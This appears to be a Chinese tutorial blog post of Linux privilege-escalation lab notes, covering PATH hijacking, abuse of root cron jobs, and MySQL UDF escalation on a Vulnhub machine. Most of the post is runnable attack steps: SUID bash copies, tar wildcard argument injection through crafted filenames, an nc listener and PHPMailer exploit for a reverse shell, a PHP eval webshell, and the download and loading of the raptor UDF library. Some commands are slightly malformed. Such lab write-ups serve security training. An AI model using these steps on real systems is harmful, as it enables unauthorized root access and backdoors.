• 64:权限提升Linux定时任务&环境变量&数据库


    64:权限提升-Linux定时任务&环境变量&数据库

     

    本课重点

    • 案例1:linux提权本地环境变量安全-Aliyun-鸡肋
    • 案例2:linux提权本地定时任务安全-Aliyun
    • 案例3:linux提权第三方服务数据库-Vulnhub
    • 案例4:linux提权提升简单总结归类

    案例1:linux提权本地环境变量安全-Aliyun-鸡肋

    这个提权方法比较鸡肋,因为它需要两个前提条件:

    • 1.需要复制suid权限 ==》类似具有suid的find命令,提权原理也类似find
    • 2.设置环境变量需要有本地用户权限,web权限设置不了

    过程:手写调用文件-编译-复制文件-增加环境变量-执行触发

    1
    2
    3
    4
    5
    6
    gcc demo.c -o shell
    cp /bin/sh /tmp/ps
    export PATH=/tmp:$PATH
    chmod u+s shell
    ./shell
    id

    <1>首先id查看一下当前登录用户权限,是本地普通用户。

     

    <2>将demo.c上传到/home/普通用户名/script/目录下,编译:gcc demo.c -o shell。demo.c就是通过system执行ps命令。

     

    <3>复制文件。cp /bin/sh /tmp/ps,把/bin/sh复制给/tmp/ps,ps命令本来是用于显示当前进程的状态,复制后执行./ps就变成了执行sh命令。

    <4>增加环境变量。export PATH=/tmp:$PATH,环境变量里新增/tmp目录,此时执行ps命令就相当于直接执行sh命令了。

    <5>执行触发。chmod u+s shell(鸡肋的原因也在这里),./shell执行触发demo.c里面的ps命令,成功提权。$变成#

    案例2:linux提权本地定时任务安全-Aliyun

    第一种:路径问题导致提权

    原理:利用计划任务指向的文件的相对路径解析问题

    1
    2
    3
    4
    cat /etc/crontab
    echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' /home/xiaodi/test.sh
    chmod +x /home/xiaodi/test.sh
    /tmp/bash

    <1>执行cat /etc/crontab命令,查看当前系统的定时任务,发现一个test.sh任务没有写绝对路径,而且是以root权限运行的。

    定时任务中的test.sh没有写绝对路径,但我们知道它默认就是调用/usr/local/bin目录下test.sh。(我们自己写来测试用的)

    打开看一下,发现此定时任务是每隔一分钟将系统日期写入/tmp/time.log。

    等1分钟,发现确实/tmp目录下生成了time.log,内容是当前时间。

    <2>那我们该如何利用这个定时任务提权呢?方法就是在用户目录下写入一个与test.sh同名的文件,执行,此时定时任务以root身份调用的就是我们写的 /home/xiaodi/test.sh,而不是系统原来的/usr/local/bin/test.sh,从而提权。但是测试发现并没有提权成功,原因不知道为啥。

    1
    2
    3
    echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' /home/xiaodi/test.sh
    chmod +x /home/xiaodi/test.sh
    /tmp/bash

    ==》补充:出错原因是操作有问题。

    漏洞介绍

    Crontab通常以root权限运行。如果可以成功篡改在定时任务执行的任何脚本或二进制文件,那么我们可以使用root权限执行任意代码。漏洞利用

    假如root用户配置不当,在/etc/crontab文件创建了一个计划任务。

    意为每分钟执行test.sh文件并输出到/tmp/test.txt文件。
    下载 pspy工具 到目标环境。
    该工具无需root权限即可监听进程。

     

    监听发现该指令以root权限运行。
    查看该test.sh文件以cseroad用户身份运行。

     

    我们可以通过覆盖test.sh文件提升为root权限。

    echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" >> test.sh
    

    2 分钟后,tmp目录下会创建出SUID权限的bash。

     

    /tmp/bash -p 即可获取root权限

     

    链接:https://www.jianshu.com/p/039cc25c03dd

    第二种:命令问题导致提权

    原理:利用通配符配合命令参数自定义命令实现提权

    提权命令

    1
    2
    3
    4
    5
    6
    7
    cat /etc/crontab
    cd /home/undead/script;tar czf /tmp/backup.tar.gz *
    echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' /home/undead/script/test.sh
    echo "" "--checkpoint-action=exec=sh test.sh"
    echo "" > --checkpoint=1
    ./bash -p
    id

    不安全定时任务备份命令:

    • 参考命令:https://www.cnblogs.com/manong--/p/8012324.html

    <1>执行cat /etc/crontab命令,查看当前系统的定时任务,发现一个名为backup.sh的备份定时任务,而且是以root权限运行的。

    定时任务每分钟执行一次,打开backup.sh,发现是将 /home/undead/script目录下的所有文件打包为backup.tar.gz,并放到/tmp目录下。

    <2>使用以下命令,在/home/undead/script目录下创建3个文件

    1
    2
    3
    echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' /home/undead/script/test.sh
    echo "" "--checkpoint-action=exec=sh test.sh"
    echo "" > --checkpoint=1

    <3>等待一分钟,系统定时任务执行,打包,打开/tmp目录查看,发现test.sh等文件打包为一个backup.tar.gz文件,但我们刚才创建的另外两个文件并未在backup.tar.gz中,而是另外生成了一个bash文件。

    这是为什么呢?原因是定时任务打包时使用了*将整个文件夹下的文件打包,而当系统真正执行打包操作时,会将目录下的所有文件名一个一个传参给*执行打包操作。前几个文件都没问题,但是当打包到--checkpoint=1文件和--checkpoint-action=exec=sh test.sh文件时,执行的相当于

    1
    tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh

    而 --checkpoint、--checkpoint-action正好是tar命令的参数,打包到这里就会导致tar命令直接把--checkpoint=1和--checkpoint-action=exec=sh test.sh两个文件名当做参数执行,而不打包文件。--checkpoint-action=exec=sh test.sh参数的意思是执行同目录下test.sh文件,test.sh文件内容又是把 bin/bash拷贝给/tmp/bash并给/tmp/bash赋SUID权限。此时我们再执行/tmp/bash就享有了suid权限,所以这里是一环套一环的。

    <4>提权利用。成功提权。

    类似tar提权的命令还有chown、chmod、rsync等,大家可以自己研究一下。

    第三种:权限问题导致提权

    原理:利用不安全的权限分配操作导致的定时文件覆盖

    原理解读:管理员正常创建一个文件test.sh时,默认是没有执行权限的,此时管理员若想执行这文件,必须给它赋执行权限,正常的赋权命令是chmod +x test.sh,这样就可以执行test.sh并且组和其他成员无法修改覆盖这个文件(即写权限),但是粗心的管理员会直接chmod 777 test.sh,这样虽然也可以实现执行test.sh的目的,但是会导致权限扩大,即组和其他成员都可以对文件修改覆盖,造成风险。

    案例演示

    <1>执行cat /etc/crontab命令,查看当前系统的定时任务,发现一个名为check.sh的定时任务,而且是以root权限运行的。

    <2>测试check.sh文件是否有权限问题。可以以普通用户身份直接修改check.sh文件,如果能修改成功,说明存在权限问题,也可以直接执行ls -l check.sh,查看check.sh的权限,如果是-rwxrwxrwx,说明存在权限问题。只要存在权限问题,就可利用提权。

    <3>提权利用。可以模仿上述方法,直接写入命令到定时任务check.sh,从而成功提权。

    • 首先,vim命令打开check.sh文件,写入:cp bin/bash /tmp/bash; chmod +s /tmp/bash
    • 然后,等待定时任务执行后,执行/tmp/bash,提权成功。

    案例3:linux提权第三方服务数据库MYSQL_UDF-Vulnhub

    Vulnhub某靶机-探针IP及端口-利用漏洞获取web权限-信息收集-查看数据库配置文件-利用Mysql提权Linux(Mysql版本区别同windows)

    <1>探针IP及端口。直接探针当前自己机器IP所在网段,因为靶机就在同一网段。这里我们使用的忍者系统。

    1
    nmap 192.168.76.0/24

    通过扫描找到了目标主机以及对应的web服务。

    扫描目录,发现一个目录遍历漏洞,打开网站目录,发现使用了phpmailer。

    <2>利用phpmailer漏洞进行修改并反弹。

    (1)下载exp,修改配置(目标地址、后门等)

    (2)本地监听端口

    1
    nc -lvvp 4444

    (3)执行exp

    1
    python D:/Myproject/40974.py

    (4)成功反弹shell

    (5)也可以打开xiaodi.php,拿到shell权限。

    <3>写入后门利用菜刀连接方便操作

    1
    echo '<?php eval($_POST[x];?)>' > 1.php

    <4>上传信息收集脚本进行提权信息收集

    1
    ./LinEnum.sh

    检测到系统装有第三方服务——mysql数据库,版本为5.5.60

    <5>翻阅数据库配置文件获取root密码

    1
    cat wp-config.php

    <6>利用Mysql提权 searchspolit

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    (1)下载mysql udf poc进行编译(目标服务器可能没有gcc,所以最好在本机进行编译再上传)
    wget https://www.exploit-db.com/download/1518
    mv 1518 raptor_udf.c
    gcc -g -c raptor_udf.c
    gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
    mv raptor_udf.so 1518.so
     
    (2)下载1518到目标服务器
    wget https://xx.xx.xx.xx/1518.so
     
    (3)进入数据库进行UDF导出(root连接)
    use mysql;
    create table foo(line blob);
    insert into foo values(load_file('/tmp/1518.so'));
    select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
     
    (4)创建do_system函数调用
    create function do_system returns integer soname '1518.so';
    select do_system('chmod u+s /usr/bin/find');

    <7>配合使用find调用执行

    1
    2
    3
    4
    touch xiaodi
    find xiaodi -exec "whoami" \;
    find xiaodi -exec "/bin/sh" \;
    id

    案例4:linux提权提升简单总结归类-参考PDF

    1、提权环境,信息收集(主要关注:SUID,定时任务,可能漏洞,第三方服务应用等)

    2、最新相关漏洞要明确(关注点),二次开发相关脚本学会展望(四个脚本)

    • 信息收集脚本比如linux-exploit-suggester.sh并不能实时更新,因此一些最新漏洞就无法收录,此时可以自己二次开发,放入最新漏洞。

    3、本地searchsploit脚本及远程exploitdb站点搜索说明(简要使用)

    • searchsploit
      • (1)下载:https://github.com/offensive-security/exploitdb
      • (2)忍者系统集成,比如可以直接在忍者系统命令行searchsploit mysql搜索mysql相关漏洞,如图4.3
    • 最新漏洞官网在线搜索:https://www.exploit-db.com
      • 这个漏洞库是国外的,收录的漏洞也是一些国际上用的比较多的软件,如果想要查找一些国内小众cms之类的漏洞,可以去国内的漏洞库查看。

    4、其他提权方法,如:

    • 密码复用(主要靠运气,看弱密码)
    • guid提权(与suid提权同理,只是搜索语句不同,如图4.4)
    • sudo提权(很鸡肋,没鸟用)
      • sudo说明参考:CVE-2019-14287:sudo权限绕过漏洞分析与复现(https://www.freebuf.com/vuls/217089.html)

    图4.3

    图4.4

  • 相关阅读:
    Delphi的字符(Char),字符串(String),字符串指针(PChar),字符数组arrayofchar(来自http://delphi.cjcsoft.net/论坛)
    关于Delphi中的字符串的浅析(瓢虫大作,里面有内存错误的举例)
    String[255]在高版本Delphi里还是被解释成Byte,总体长度256,使用StrPCopy可以给Array String拷贝字符串(内含许多实验测试)
    了解JVM加载实例化类的原理
    轻量级 Material Design 前端框架 MDUI (纯html,css,与css框架跟react vue不冲突)
    只学一点点:我的技术学习策略(虽然不赞同,但可以参考一下,针对不常用的技术可以这样,同时可以:寻找遁去的一,不用管别人怎么想;有学习的时间,不如自己写、自己实践,否则学完了都不知道是什么东西)
    clientdataset<---->json
    完全自定义窗体风格的实现
    监控其它进程
    用JSP+JavaBean开发模式实现一个销售额的查询
  • 原文地址:https://www.cnblogs.com/bonelee/p/15866365.html
Copyright © 2020-2023  润新知